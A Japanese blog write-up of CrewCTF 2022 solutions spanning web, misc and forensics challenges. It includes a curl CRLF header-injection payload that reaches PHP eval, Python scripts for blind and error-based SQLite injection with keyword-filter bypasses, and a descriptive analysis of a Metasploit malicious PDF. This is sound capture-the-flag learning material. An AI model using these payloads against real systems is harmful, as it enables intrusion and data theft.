st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

CrewCTF 2022 writeup

4/16 - 4/18という日程で開催された。まともにCTFに参加するのは2/12のHayyim CTF 2022からおよそ2ヶ月ぶりで心配だったのだけれども、そこそこ解けてよかった。zer0ptsで参加して2位。


[Web 118] CuaaS (90 solves)

URLを入力するフォームがある。サーバ側の処理はこんな感じ。X-Original-URL というヘッダに入力したURLを持って http://127.0.0.1/cleaner.php にHTTPリクエストを送ってくれる。

stream_context_create のドキュメントと、そこから参照されているオプションの一覧を見ればわかるように、header は配列だけでなく文字列も許容する。文字列の場合にはCRLFで区切ることで複数のヘッダを送信できる。

この問題ではユーザ入力である $_POST['url'] が最終的に "X-Original-URL: $uncleanedURL" とヘッダに展開されているが、当然ながらCRLFも仕込める。HTTPヘッダインジェクションだ。

<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
    {
        clean_and_send($_POST['url']);
    }

    function clean_and_send($url){
            $uncleanedURL = $url; // should be not used anymore
            $values = parse_url($url);
            $host = explode('/',$values['host']);
            $query = $host[0];
            $data = array('host'=>$query);
            $cleanerurl = "http://127.0.0.1/cleaner.php";
            $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
            'method' => 'POST',
            'header' => "X-Original-URL: $uncleanedURL",
            'content' => http_build_query($data)
            ]
            ]));
                echo $stream;
                                            }


?>

このHTTPヘッダインジェクションで何ができるかというのは cleaner.php を見るとわかる。X-Visited-Before というヘッダの値が eval される。

<?php

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

die("<img src='https://imgur.com/x7BCUsr.png'>");

}


echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";


function tryandeval($value){
                echo "<br>How many you visited us ";
                eval($value);
        }


foreach (getallheaders() as $name => $value) {
    if ($name == "X-Visited-Before"){
        tryandeval($value);
    }}
?>

あとはやるだけ…かと思いきや、php.inidisable_functionsproc_opensystem などOSコマンドが実行できそうな関数が禁止されている。

disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority

ただ、glob とか file_get_contents は禁止されていないので、ファイルを読む分には困らない。glob でルートディレクトリを見たら /maybethisistheflag というそれっぽいファイルがあった。この中にフラグが書かれていた。

$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: var_dump(glob('/*'));"
…
<br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us array(20) {
  [0]=>
  string(4) "/bin"
  [1]=>
  string(5) "/boot"
  [2]=>
  string(4) "/dev"
  [3]=>
  string(4) "/etc"
  [4]=>
  string(5) "/home"
  [5]=>
  string(4) "/lib"
  [6]=>
  string(6) "/lib64"
  [7]=>
  string(19) "/maybethisistheflag"
  [8]=>
  string(6) "/media"
  [9]=>
  string(4) "/mnt"
  [10]=>
  string(4) "/opt"
  [11]=>
  string(5) "/proc"
  [12]=>
  string(5) "/root"
  [13]=>
  string(4) "/run"
  [14]=>
  string(5) "/sbin"
  [15]=>
  string(4) "/srv"
  [16]=>
  string(4) "/sys"
  [17]=>
  string(4) "/tmp"
  [18]=>
  string(4) "/usr"
  [19]=>
  string(4) "/var"
}
…
$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: echo file_get_contents('/maybethisistheflag');"
…
<br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
…
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}

[Web 633] Marvel Pick (31 solves)

キャラクターに投票できるWebアプリケーションが与えられている。スパイダーマンが大人気。以下のクライアント側のコードを見ればわかるように、/api.php?character=spiderman みたいな感じでGETするとキャラクターの投票数が得られ、/api.php へのPOSTで投票ができる。

        const marvel = [
            'spiderman', 'ironman', 'captainamerica', 'nickfury'
        ]

        function fetchMarvelVotesCount (marvel) {
            fetch(`/api.php?character=${marvel}`)
                .then(response => response.json())
                .then(results => {
                    const vote_count_html = document.querySelector(`#vote-count-${marvel}`)
                    const total_vote = results.data.vote_count

                    if (total_vote > 1) {
                        vote_count_html.innerHTML = `${total_vote} Votes`
                    } else {
                        vote_count_html.innerHTML = `${total_vote} Vote`
                    }
                })
        }

        function vote (marvel) {
            const formData = new FormData()
            formData.append('character', marvel)

            fetch('/api.php', {
                method: 'POST',
                body: formData
            })
                .then(response => response.json())
                .then(result => {
                    if (result.success) {
                        fetchMarvelVotesCount(marvel)
                        alert('successful voting')
                    } else {
                        alert(result.error)
                    }
                })
                .catch(error => {
                    alert('error');
                });

        }

        marvel.forEach(item => {
            fetchMarvelVotesCount(item)
        })

/api.php?character=%27 にアクセスしてみると以下のようなエラーが出た。SQLiだ。

Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: "'''" in /var/www/api.php:75 Stack trace: #0 /var/www/api.php(75): PDO->query('SELECT * FROM c...') #1 {main} thrown in /var/www/api.php on line 75

色々試すと以下のような結果になった。左側は character に突っ込んだ文字列、右側は OK ならエラーが起こらなかった、NG ならエラーが発生したという意味。

'or' : OK
'or(1)or' : NG
'||1||' : OK
'||(1)||' : OK
'hoge' : NG
'||(sqlite_version())||' : OK

AselectB をキャラクター名とすると {"success":true,"data":{"name":"AB","vote_count":0}} というようなレスポンスが返ってきた。AnekoB はそのままなので、select のようなSQLiに使えそうなキーワードが消されているっぽい。ほかには where, substr, case が削除されることが確認できた。ついでにいえば - も使えない。

sselectelect をキャラクター名とすると {"success":true,"data":{"name":"select","vote_count":0}} というレスポンスが返ってくる。こんな感じでバイパスができる。

'union selselectect'a',vote_count が1に、'union selselectect'a','' union sselectelect '',' で2に増えた。vote_count はレコード数になっているっぽい。これをoracleとしてBlind SQLiができそう。できた:

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"' union select 'a','' where ({q}) union select '','"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect')
    r = requests.get(URL, params={
        'character': payload
    })
    return r.json()['data']['vote_count'] == 2

print(query('1 > 2')) # False
print(query('2 > 1')) # True

あとはやるだけ。sqlite_master から sql を抜き出すexploitを書く。

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"' union select 'a','' where ({q}) union select '','"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr')
    r = requests.get(URL, params={
        'character': payload
    })
    return r.json()['data']['vote_count'] == 2

i = 1
res = ''
while True:
    c = 0

    for j in range(7):
        if query(f'unicode(substr((select group_concat(sql) from sqlite_master), {i}, 1)) & {1 << j}'):
            c |= 1 << j
    
    res += chr(c)
    print(i, res)
    i += 1

動かすとテーブルのデータが抜けた。flags というテーブルがあるっぽい。

$ python3 exp.py
…
152 CREATE TABLE characters (
        id integer PRIMARY KEY,
        name text NOT NULL
),CREATE TABLE flags (
        id integer PRIMARY KEY,
        value text NOT NULL
)
…

select value from flags でフラグが得られた。

crew{so_its_n0t_on3_line_for_exp}

[Web 738] Marvel Pick Again (24 solves)

Marvel Pickのリベンジ。今度はキャラクター名が76文字以上であれば弾かれるようになった。コードゴルフの時間だ。

  1. '|abs(case when ({q}) then ~9223372036854775807 else 0 end)|': SQLiteでは abs-9223372036854775808 を与えるとエラーが発生する性質を利用して、Error-Basedにやる
  2. '|abs(({q})+~9223372036854775807)|': {q}0 以外ならエラーが発生することさえ変わっていなければよい。CASE式を使わないようにする
  3. '|abs(({q})+(2<<62))|': -9223372036854775808 をなんとかできないかとDiscordに投げたら、ふるつきさんから 2**63 をゴニョゴニョできないかというアドバイスが返ってきた。左シフトでいけた

あとは雑にブルートフォースをやるだけ。

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"'|abs(({q})+(2<<62))|'"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr').replace('case', 'ccasease')
    r = requests.get(URL, params={
        'character': payload
    })
    #print('len:', len(payload))
    return '1 integer overflow' in r.text

i = 1
res = ''
while True:
    for c in range(0x20, 0x7f):
        #if query(f"substr('abc',{i},1)>char({c})"):
        if query(f"substr((select value from flags),{i},1)>'{chr(c)}'"):
            res += chr(c)
            break
    print(i, res)
    i += 1
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}

[Misc 767] Paint (22 solves)

I made a drawing program for my PS4 Pro and I drew a really pretty picture, but then it crashed! Thankfully I managed to capture some traffic via my computer, could you recover the drawing for me?

というような問題文にpcapがついてきている。pcapのパケットは全部USBのもので、要はUSB接続のDUALSHOCK 4でお絵かきした様子をキャプチャしたので、どんな絵が描かれたか復元してみろという感じ。パケットの構造はググったら出た

まずpcapを扱いやすい形にする。tshark -r paint.pcap -Y 'usb.capdata' -T json -e frame.time -e usb.capdata > log.json で以下のようなJSONに変換する。

[
  {
    "_index": "packets-2022-04-12",
    "_type": "doc",
    "_score": null,
    "_source": {
      "layers": {
        "frame.time": [
          "Apr 12, 2022 02:14:44.497255000 JST"
        ],
        "usb.capdata": [
          "017c7c7b7b0800000000000000000000000000000000000000000000000007000000008000000080000000008000000080000000008000000080000000008000"
        ]
      }
    }
  },
…
]

以前Switchのプロコンで似たようなことをしたときのコードを改造する。

import binascii
import collections
import json
import struct
import time
import pygame

Frame = collections.namedtuple('Frame', 'report_id left_x left_y right_x right_y button1 button2 counter l2 r2 timestamp battery_level gyro_x gyro_y gyro_z accel_x accel_y accel_z unknown1 unknown2 unknown3 unknown4 unknown5')

def parse(s):
    b = binascii.unhexlify(s)
    f = Frame._make(struct.unpack('bBBBBbbbbbhbhhhhhhiQQQQ', b))
    return f

with open('log.json', 'r') as f:
    log = json.load(f)

parsed_frames = [
    parse(frame['_source']['layers']['usb.capdata'][0]) for frame in log
]

pygame.init()
screen = pygame.display.set_mode((630, 80))
font = pygame.font.SysFont(None, 24)

i = 0
l = len(parsed_frames)
running = False

left_x = 10
left_y = 50
sensitivity = .2
while True:
    # render!
    if running:
        frame = parsed_frames[i]

        left_move_x = (frame.left_x - 127) / 127 * sensitivity
        left_x += left_move_x
        left_move_y = (frame.left_y - 127) / 127 * sensitivity
        left_y += left_move_y
        print(left_x, left_y, left_move_x, left_move_y)

        if frame.button1 & 0x20: # X button
            color = (192, 192, 255)
        else:
            color = (32, 32, 32)

        pygame.draw.circle(screen, color, (int(left_x), int(left_y)), 1)

        pygame.display.update()

    # moromoro!
    for event in pygame.event.get():
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_SPACE:
                running = not running
        elif event.type == pygame.QUIT:
            pygame.quit()
            break

    if running:
        i += 1
        time.sleep(.001)

    if i >= l:
        running = False

実行するとこんな感じ:

youtu.be

画像版:

crew{51ck_dr4w1n9_br0}

./VespiaryのArkさんの解法が大変シンプルでびっくりした。Gallimaufry という便利ライブラリがあるらしい。

[Misc 821] Air(wave)-gap (18 solves)

次のようなコードが与えられている。

import RPi.GPIO as GPIO
from time import sleep
from os import system
from sys import argv

startup_time = 60
bit_length = 10
led_pin = 13
pwm_freq = 8000

get_bin = lambda x, n: format(x, 'b').zfill(n)
with open('flag.txt', 'r') as f:
    flag = bytearray(f.read().strip().encode())

bits = ''
for byte in flag:
    bits += get_bin(byte, 8)

# Setup GPIO pins
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
GPIO.setup(led_pin,GPIO.OUT)
pi_pwm = GPIO.PWM(led_pin, pwm_freq)
pi_pwm.start(0)

system('echo none | sudo tee /sys/class/leds/led0/trigger >/dev/null') # Take control of led0

# Starting the fan idling to not draw any suspicion
pi_pwm.ChangeDutyCycle(100)

print(f'[*] Waiting {startup_time}s before transmitting...')
sleep(startup_time)

print(f'[*] Now transmitting data...')
system('echo 1 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Enable led0 when transmitting

for i, bit in enumerate(bits, 1):
    # Fancy logging no one will ever see :(
    print('[{}] Transmitting bit {}/{}'.format("/-\|"[i%4], i, len(bits)), end='\r')
    power = 20 if bit == '0' else 100
    pi_pwm.ChangeDutyCycle(power)
    sleep(bit_length)

print('[+] Done transmitting data!')
system('echo 0 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Disable led0 when done

RasPiを使ってLEDで情報を送ろうとしている。しらんけど。フラグを送信している様子を撮影した動画も与えられているが、LEDの光り方がまるで変わってないように見える。

ただ、音声に注目すると、ファンがうるさくなったり静かになったりを繰り返していることがわかる。 Audacityを使って、うるさいときを1、静かなときを0として、10秒区切りで1ビットずつ送信していると見てデータの復元をしてみる。すると、最初の16ビットについて 01000011 01110010、つまり cr と送信されていることが確認できた。

動画は1時間以上もあるので、すべて手作業でやるのは無理がある。自動化できないか「Python 音量」でググるいい感じの記事がヒットした。これを参考にスクリプトを書く。

# coding: utf-8
# (ref. https://heartstat.net/2021/05/15/python_calc-volume/)

import wave
import numpy as np
import librosa

if __name__ == "__main__":
    hop_length = 1000

    wave_file = wave.open('a.wav', 'rb')
    sr = wave_file.getframerate()

    wave, sr = librosa.load('a.wav', sr=sr, mono=True)
    rms = librosa.feature.rms(y=wave, hop_length=hop_length)

    samples_per_second = int(sr / hop_length)

    l = len(rms[0])
    r = []
    for i in range(0, l, sample_per_second * 10):
        x = np.average(rms[0][i:i + samples_per_second * 10])
        r.append(x)

    print(r)

ffmpeg -i CCTV.mp4 a.wav で動画をwavに変換し、Audacityなどで送信が始まる1分18秒以降だけを切り取る。そんでもってさっきのスクリプトを実行する。

その出力をもとに、しきい値を手作業で探すHTMLを作る。

<body>
<style>
input[type=range] {
  width: 100%;
}
</style>
<pre id="out">0.5</pre>
<input type="range" id="threshold" min="0" max="0.05" step="0.0001">
<script>
const r = [0.03109114, 0.051917966, 0.05427564, 0.029296855, 0.030157499, 0.030233292, 0.05508561, 0.054486, 0.034192815, 0.052840784, 0.06011493, 0.060120318, 0.033423543, 0.03062686, 0.05439334, 0.02869172, 0.033377744, 0.051349096, 0.056085087, 0.032007955, 0.029963171, 0.05745692, 0.029698832, 0.04548151, 0.03198812, 0.048319746, 0.04500549, 0.04316423, 0.029354772, 0.04617504, 0.052881144, 0.047145464, 0.029194003, 0.04698511, 0.043547634, 0.046218704, 0.046382885, 0.030563615, 0.05041298, 0.05214699, 0.03326046, 0.04734409, 0.04569537, 0.0461114, 0.051981386, 0.031742383, 0.030895818, 0.05785249, 0.032775268, 0.031857777, 0.056210425, 0.046177153, 0.030586628, 0.029812979, 0.032853205, 0.03330558, 0.030313151, 0.053671457, 0.053401217, 0.054217044, 0.037971184, 0.048968274, 0.026410075, 0.042924874, 0.03435536, 0.05499195, 0.033400062, 0.05693797, 0.04946198, 0.048835445, 0.04690206, 0.04800403, 0.03231143, 0.05821715, 0.031108567, 0.02915096, 0.030611793, 0.052722976, 0.0294277, 0.030398974, 0.02851251, 0.02974574, 0.051157534, 0.05049246, 0.03024685, 0.029794741, 0.030769305, 0.042797588, 0.030681584, 0.045991085, 0.050098434, 0.035819832, 0.03289533, 0.05085029, 0.037870597, 0.031284206, 0.030228226, 0.05148368, 0.0323253, 0.03231474, 0.05140263, 0.046026748, 0.05405606, 0.032143224, 0.030277975, 0.030520046, 0.047758445, 0.052016005, 0.030754907, 0.049182843, 0.04910155, 0.04821784, 0.031271912, 0.04837303, 0.03270534, 0.044158265, 0.053219255, 0.05885423, 0.053810194, 0.05929017, 0.03354276, 0.052582774, 0.032458656, 0.029847316, 0.032280806, 0.046467368, 0.030648129, 0.031922445, 0.0398943, 0.031480543, 0.050360695, 0.057928246, 0.032836363, 0.027877888, 0.028344354, 0.029052997, 0.029131373, 0.047402494, 0.035221778, 0.04165406, 0.04909277, 0.048176162, 0.04824836, 0.050107796, 0.03028872, 0.030269913, 0.047774274, 0.050438747, 0.035256602, 0.063244596, 0.055620417, 0.05964478, 0.039838832, 0.046088807, 0.03176373, 0.027969003, 0.045254175, 0.03241503, 0.03176827, 0.03205968, 0.031216962, 0.030733835, 0.051610686, 0.053065315, 0.033610955, 0.044081233, 0.030633263, 0.027836548, 0.028877558, 0.03004429, 0.049962126, 0.055439457, 0.035204843, 0.052955184, 0.049989853, 0.051381603, 0.03242231, 0.045439593, 0.032090474, 0.04837672, 0.04664822, 0.051533993, 0.05217813, 0.04952046, 0.032888867, 0.05138201, 0.05560084, 0.031248441, 0.046841133, 0.047658343, 0.030512452, 0.050112955, 0.035784308, 0.029804746, 0.05153021, 0.052125502, 0.03740118, 0.051789865, 0.033992056, 0.030227834, 0.02991722, 0.04817538, 0.049158726, 0.03548467, 0.047920663, 0.04400246, 0.055371627, 0.034000453, 0.030795276, 0.042289153, 0.052264724, 0.05421257, 0.034332253, 0.052279808, 0.03168502, 0.046024483, 0.033230867, 0.031739775, 0.04714988, 0.049973942, 0.036351725, 0.047548316, 0.036481973, 0.03043402, 0.033051245, 0.027813077, 0.04607419, 0.046707373, 0.038584933, 0.029637797, 0.026961306, 0.049338162, 0.032543562, 0.028120836, 0.04809667, 0.054391988, 0.032196876, 0.02768145, 0.028926453, 0.04980447, 0.033621475, 0.05163493, 0.035280958, 0.050804432, 0.052894376, 0.033309888, 0.02567325, 0.05635422, 0.033173714, 0.051140033, 0.035497386, 0.04880439, 0.05151053, 0.056308065, 0.05138659, 0.05059445, 0.030500608, 0.050188486, 0.054534707, 0.050064262, 0.031873528, 0.032092772, 0.047697727, 0.03510121, 0.03128316, 0.031608887, 0.049018446, 0.04082197, 0.039561383, 0.032087367, 0.029052556, 0.0502304, 0.032574784, 0.028563011, 0.04863945, 0.047270942, 0.056177434, 0.037684273, 0.033231426, 0.050361935, 0.03445702, 0.04478277, 0.03220858, 0.032497916, 0.049155038, 0.037317444, 0.03155347, 0.033836987, 0.034131687, 0.029117038, 0.04922111, 0.050145317, 0.031666223, 0.046917796, 0.057505216, 0.05332817, 0.032210108, 0.03129516, 0.049740918, 0.048465166, 0.05278027, 0.06065658, 0.05249446, 0.05311162, 0.036331717, 0.044876166, 0.034747474, 0.054406922, 0.04974051, 0.05750928, 0.04973552, 0.050145615, 0.03567187, 0.030130923, 0.048915606, 0.047463443, 0.031890206, 0.046976764, 0.04983057, 0.059587657, 0.0340419, 0.04442417, 0.036353722, 0.026804993, 0.043534305, 0.031356018, 0.030027095, 0.02983918, 0.030410219, 0.0292907, 0.04407861, 0.057921376, 0.039071478, 0.050725568, 0.03176458, 0.029489286, 0.02723292, 0.029296521, 0.03675685, 0.047404565, 0.030471634, 0.035037074, 0.035309862, 0.033822104, 0.02942725, 0.036841642, 0.0340341, 0.04923991, 0.055422425, 0.04978769, 0.05032366, 0.052880984, 0.038565274, 0.050258335, 0.03437104, 0.0453561, 0.03797955, 0.04787532, 0.04892038, 0.03940308, 0.032181866, 0.026687585, 0.03408535, 0.037301436, 0.030613845, 0.026691275, 0.028804766, 0.029267307, 0.026775122, 0.035257705, 0.031653427, 0.046582658, 0.035511438, 0.04330709, 0.037255373, 0.046610348, 0.039154988, 0.030850964, 0.04677705, 0.050687987, 0.03376512, 0.03093425, 0.033439685, 0.03350984, 0.02975067, 0.04038527, 0.03543177, 0.029384792, 0.027229555, 0.037502173, 0.03446604, 0.028954217, 0.027945817, 0.037588246, 0.033176813, 0.036248017, 0.03778294, 0.040035255, 0.040894035, 0.0493297, 0.03812627, 0.048053876, 0.052058432, 0.057569362, 0.03663437, 0.03180587, 0.045413993, 0.051277034, 0.035509314, 0.0463631, 0.05490951, 0.04706955, 0.03870221, 0.045918774, 0.034223415, 0.04454861, 0.035130396, 0.04357964, 0.033637453, 0.028411483, 0.027940921, 0.02995873, 0.037817407, 0.0389371, 0.03003042, 0.036119837, 0.037297692, 0.029403526, 0.035465997, 0.03215643, 0.041249387, 0.04320407, 0.031146342, 0.041716397, 0.04195443, 0.050066955, 0.051361695, 0.04842278, 0.032965027, 0.043740153, 0.029150426, 0.019015612, 0.01932527, 0.020082066];
const o = document.getElementById('out');
const v = document.getElementById('threshold');
v.oninput = () => {
  const t = parseFloat(v.value);
  const s = r.map(e => (e > t ? '1' : '0')).join('');
  const d = String.fromCharCode(...s.match(/.{8}/g).map(e => parseInt(e, 2)));
  o.innerText = `${v.value.padEnd(6)} ${d}`;
};
</script>
</body>

スライダーをいじっていると、0.04をしきい値として設定した場合に8割程度フラグが得られた。

残りはVLC Playerを使って、4倍速で聞きつつ手作業で頑張るとフラグが得られた。古のSECCONみを感じる問題だった。

crew{y0u_D1dN7_D0_7H47_m4nu411Y_r19H7?_7H47_W0U1D_suCk}

[Forensics 100] Corrupted (191 solves)

Corrupted.001 というファイルが与えられる。バイナリエディタで眺めていたら 0x58a000 以降になんかPNGがあった。

$ python3
…
>>> a = open('Corrupted.001','rb').read()
>>> open('a.png','wb').write(a[0x58a000:])
46624768
crew{34sY_C0rrupt3D_GPT}

[Forensics 142] Policy Violation Pt.1 (81 solves)

One of our employees violate the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?

Q1. What is the CVE Number and Date of exploit? Example: crew{CVE-XXXX-XXXX_Date:MM.D.YY}

Author: 0xSh3rl0ck#7219

という問題文とともに Image.E01 というファイルが与えられる。FTK Imagerで開いてファイルを眺めていると、[root]\$RECYCLE.BIN\S-1-5-21-321011808-3761883066-353627080-1000\ 下にふたつほどPDFがあった。バイナリエディタで見ると RD5UESN.pdf がめちゃくちゃ怪しい。

適当にストリームを展開してみると、以下のような文字列が出てきた。

$ python3 
Python 3.8.10 (default, Nov 26 2021, 20:14:08)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib
>>> s = open('$RD5UESN.pdf', 'rb').read()
>>> zlib.decompress(s[0x1fc:])
b'0a 20  20 20  20 76  61   72 20  61  79  64 41  …'

これをさらにデコードすると怪しいJSコードが出てくる。util.printf("%45000.45000f", 0); で終わっているが、これはどうやらCVE-2008-2992っぽい。

フラグフォーマットは crew{CVE-XXXX-XXXX_Date:MM.D.YY} とのことだが、日にちの方がわからない。"Date of exploit" とは。色々試していると、NVD Published Dateの2008年11月4日が正解だった。

crew{CVE-2008-2992_Date:11.4.08}

[Forensics 648] Policy Violation Pt.2 (30 solves)

One of our employees violated the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?

Q2. What is the sha1sum of the attacker IP ?

Example: crew{SHA-1(IP)} crew{ea424d38af72dd1366a08aad1f47eca3e7ec3d24}

という問題文で、添付ファイルはPt.1と同じ。さっきのexploitを解析する必要があるらしい。先程見つけたMetasploitのモジュールのコードとPDFに仕込まれているJSコードを比較すると、MetasploitによってPDFが生成されたことがわかる。

テンプレートの1行目の var #{rand1} = unescape("#{shellcode}"); から、unescape の引数がシェルコードであるとわかる。デコードに手間取っていたところ、ptr-yudaiさんがいい感じにやってくれた。

どうせペイロードの生成には windows/meterpreter/reverse_tcp を使っているのだろうと、Ghidraを使いつつデコードされたペイロードと、そのモジュールのコードとを比較してみたところ、どうやら本当にそうっぽかった。

IPアドレスpush している箇所を特定して終わり。IPアドレス192.168.1.30 だ。

crew{265180387f1642217973f8cfda2ca6cc92d48e60}

[Forensics 353] Screenshot Pt.1 (51 solves)

We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?

Q1. What is the Name of the secret file (without extension)?

example flag: crew{{12345678-90AB-CDEF-GHIJ-KLMNOPQRSTUV}}

Author: 0xSh3rl0ck#7219

という問題文とともに、ScreenShot.ad1 というファイルが与えられる。FTK Imagerでこれを開いて、ファイルの一覧をCSV形式で出力する。フラグ形式を見る限りファイル名は [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} というような形式に拡張子を加えたもののはず。

{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png    E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState\{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png    1400277    2022-Apr-03 19:11:38.374945    2022-Apr-02 01:10:01.816000    2022-Apr-03 19:11:38.374945    no    4302a193d34c126865bc501589b58f13    3d714cdbe607e431399c10e5a23291c3394d01f7
crew{{19422F1B-6C19-4190-9674-0D1C5AEC5451}}

[Forensics 498] Screenshot Pt.2 (40 solves)

We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?

Q2. What is the MD5 hash of the associated LNK File ?

example flag: crew{5f4dcc3b5aa765d61d8327deb882cf99}

Same file as in Pt. 1

Author: 0xSh3rl0ck#7219

Pt.1で出力したファイルの一覧で lnkgrepする。Pt.1で見つけたファイルに関連するアプリである ScreenSketch を呼び出しそうなやつがそれ。

ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk    E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Roaming\Microsoft\Windows\Recent\ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk    494    2022-Apr-03 19:11:42.969115    2022-Apr-02 01:10:02.046000    2022-Apr-03 19:11:42.969115    no    fd483445cf5e5b0e2b061f4b1defa841    795746b73b0548ca05f764707cf94d002fe56fa9
crew{fd483445cf5e5b0e2b061f4b1defa841}

[Forensics 513] Screenshot Pt.3 (39 solves)

Pt.1で見つけた画像に書かれている文字列をBase64デコードしたらいけた。

crew{Tr4ck1ng_scr33nsh0ts_w1th_LNK_f1l3s}

[Forensics 767] Em31l Pt.1 (22 solves)

Can you help me to examine this mail? Q1: I think that the suspect deleted something from it can you tell me what is it? Flag Format: crew{the deleted thing with :}

という問題文とともに HelpMe!.eml というファイルが与えられる。GmailからYahoo.comのメールアドレスに送られたメールだ。

とりあえず自分でもGmailからYahoo.comのメールアドレスに適当にメールを送ってみる。ヘッダを HelpMe!.eml と比較してみたところ、HelpMe!.eml には X-Gm-Message-State がなかった。

crew{X-Gm-Message-State:}

[Forensics 906] Em31l Pt.2 (11 solves)

Q2: After you Examined the first part can you tell me what is the word that he replaced it with "lost"?

Flag Format: crew{word}

Same file as in Em31l (1)

Author: 0xSh3rl0ck#7219

という問題文が与えられている。さっきの eml ファイルに含まれるメールの本文は次のような感じだった。この lost になにか別の単語が入るということだと思う。

Hey, crushed kiwi I hate this loop of college, and I need your help. Can
you meet me at lost immediately?

送信元/送信先のメールアドレスからなんらかの情報が得られないか試してみたり、ヘッダになにか情報が残っていないか探してみたものの収穫はなし。

あまりの情報のなさにブルートフォースしたくなるも、

そこからアイデアが浮かんだ。このメールには DKIM-Signature というヘッダが含まれているので、それを使えないか。

DKIMには bh というタグに本文のハッシュ値含まれているらしい。あとはブルートフォースでなんとかする。

import base64
import hashlib
import re

s = open('HelpMe!.eml', 'rb').read()
bh = base64.b64decode('5AqaoLYxMopB/cECaLwYX3ZR0XSAPW38Fwpy5WHeO2M=')

with open('/usr/share/dict/rockyou.txt', 'rb') as f:
  words = f.readlines()

for word in words:
  word = word.strip()

  body = s[s.index(b'--'):]
  body = body.replace(b'lost', word)
  body = body.strip() + b'\r\n'

  try:
    hash = hashlib.sha256(body).digest()
  except:
    continue

  if hash == bh:
    print(word)

これで lost に当てはまるのは abay という単語だとわかった。

$ python3 solve.py
b'abay'
crew{abay}